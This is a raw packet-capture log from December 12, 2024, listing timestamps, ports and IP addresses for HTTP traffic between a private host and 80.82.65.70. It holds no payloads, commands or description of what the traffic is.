Dec 12, 2024 16:48:04.464433908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.464946032 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.464998960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.465059996 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.465146065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.466128111 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.466176033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.466269970 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.466320992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.466506004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.466511965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.466562033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.467359066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.467423916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.467453957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.467578888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.468054056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.468107939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.468225956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.468336105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.468935013 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.468991041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.469017029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.469099998 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.469654083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.469697952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.469717979 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.469755888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.470447063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.470544100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.470624924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.470671892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.471194983 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.471267939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.471333981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.471477985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.472008944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.472070932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.472179890 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.472745895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.472835064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.472867012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.472933054 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.473510981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.473583937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.473654985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.473802090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.474313974 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.474420071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.474425077 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.474507093 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.475069046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.475116968 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.475167036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.475958109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.476057053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.476110935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.476643085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.476691961 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.476710081 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.476756096 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.477423906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.477475882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.477566957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.477706909 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.478224993 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.478277922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.478343010 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.478389978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.542565107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.542699099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.542814970 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.542900085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.543025017 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.543114901 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.543574095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.543732882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.543795109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.544328928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.544559956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.544615984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.545056105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.545222998 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.545242071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.545275927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.545968056 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.546103954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.546109915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.546204090 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.546725035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.546787024 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.546861887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.547178030 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.547399044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.547452927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.547492027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.547554970 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.548177004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.548230886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.548260927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.548434973 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.549009085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.549066067 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.549093008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.549145937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.549756050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.549860954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.549910069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.550537109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.550703049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.550760984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.551309109 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.551378965 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.551424026 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.551496983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.552145958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.552206039 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.552388906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.552553892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.552886963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.552952051 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.552975893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.553024054 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.553677082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.553808928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.553812027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.553873062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.554434061 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.554493904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.554564953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.554698944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.555221081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.555321932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.555351973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.555419922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.558844090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.558857918 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.558864117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.558870077 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.558886051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.558892012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.558897972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.558904886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.558914900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.558948994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.558990002 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.559153080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.559209108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.559246063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.559408903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.559988976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.560059071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.560079098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.560107946 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.560717106 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.560833931 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.560872078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.560930014 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.561512947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.561660051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.561718941 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.562305927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.562489986 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.562545061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.563352108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.563401937 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.563437939 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.563956022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.563971043 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.564003944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.564037085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.564683914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.564774036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.564825058 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.565382004 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.566494942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.619172096 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.619405985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.619620085 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.619761944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.619761944 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.619805098 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.620496988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.620593071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.620659113 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.621017933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.622389078 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.655811071 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.655894995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.655967951 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.656023026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.656275988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.656330109 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.656347036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.656395912 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.656994104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.657047033 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.657047987 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.657090902 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.657726049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.657783985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.657787085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.658005953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.658535957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.658590078 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.658608913 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.658669949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.659324884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.659370899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.659396887 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.659476995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.660152912 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.660209894 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.660289049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.660376072 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.660888910 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.660933971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.660948992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.661058903 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.661644936 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.661725044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.661762953 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.661818027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.662431002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.662497044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.662523031 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.662573099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.663220882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.663284063 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.663333893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.663988113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.664093971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.664144993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.664779902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.664838076 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.664849997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.665580034 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.665637970 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.665673971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.666359901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.666414022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.666441917 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.666495085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.667162895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.667212963 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.667258024 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.667922020 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.667973042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.667989969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.668035984 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.668735027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.668785095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.668796062 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.668827057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.669503927 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.669600010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.669610023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.669645071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.670308113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.670348883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.670361996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.670416117 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.734834909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.734985113 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.735105991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.735126972 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.735343933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.735407114 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.735994101 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.736124039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.736232996 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.736712933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.736812115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.736916065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.737528086 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.737610102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.737658978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.738251925 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.738312960 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.738343954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.738439083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.739067078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.739113092 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.739172935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.739804029 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.739886045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.739943981 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.740622997 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.740686893 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.740699053 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.740784883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.741389990 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.741435051 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.741463900 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.741504908 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.742412090 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.742434025 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.742486954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.742923975 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.743010044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.743074894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.743159056 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.743752003 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.743861914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.743928909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.743973017 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.744494915 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.744551897 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.744628906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.744680882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.745280981 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.745347023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.745421886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.745521069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.746073008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.746160984 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.746210098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.746834040 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.746892929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.746989012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.747095108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.747618914 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.747708082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.747719049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.747760057 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.748501062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.748568058 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.748755932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.748815060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.749228954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.749336958 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.749370098 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.749396086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.749974966 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.750045061 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.750124931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.750174999 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.750760078 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:04.750794888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:04.750858068 CET	80	49819	80.82.65.70	192.168.2.11
